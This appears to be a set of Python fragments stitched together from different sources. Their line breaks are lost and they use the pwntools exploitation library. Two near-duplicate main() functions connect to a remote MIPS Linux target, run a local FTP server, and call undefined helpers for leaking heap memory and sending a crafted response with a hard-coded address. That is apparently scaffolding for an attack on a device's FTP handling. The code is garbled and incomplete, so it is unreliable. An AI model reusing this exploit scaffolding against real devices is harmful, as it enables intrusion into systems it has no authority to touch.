def __init__(self, config, secret): self.config = config self.secret = secret self.wait_for_response = config['gateway']['waitForResponse'] s = pwn.server(bindaddr=config['gateway']['host'], port=config['gateway']['port'], callback=self.callb) self.server_conn = s.next_connection()
def execute(application_binary, cookie_file, url, server_fn): out = None with pwn.server(callback=server_fn) as server: address = f'{server.lhost}:{server.lport}' args = [application_binary, address, cookie_file, url] with pwn.process(args) as client: out = client.readall() return out
def main(): pwn.context.update(os='linux', arch='mips') r = pwn.remote(remoteIp, remotePort) # FTP attempts ftpd = pwn.server(localPort, localIp) ftpd.newline = b'\r\n' leakHeapByFtp(r, ftpd) info("DONE") ftpd.close() r.close()
def main(): pwn.context.update(os='linux', arch='mips') r = pwn.remote(remoteIp, remotePort) # FTP attempts ftpd = pwn.server(localPort, localIp) ftpd.newline = b'\r\n' sendFtpPkt(r) readResp(r) # ding, dong doFtpServer(ftpd.next_connection(), 0x5218d8) info("DONE") ftpd.close() r.close()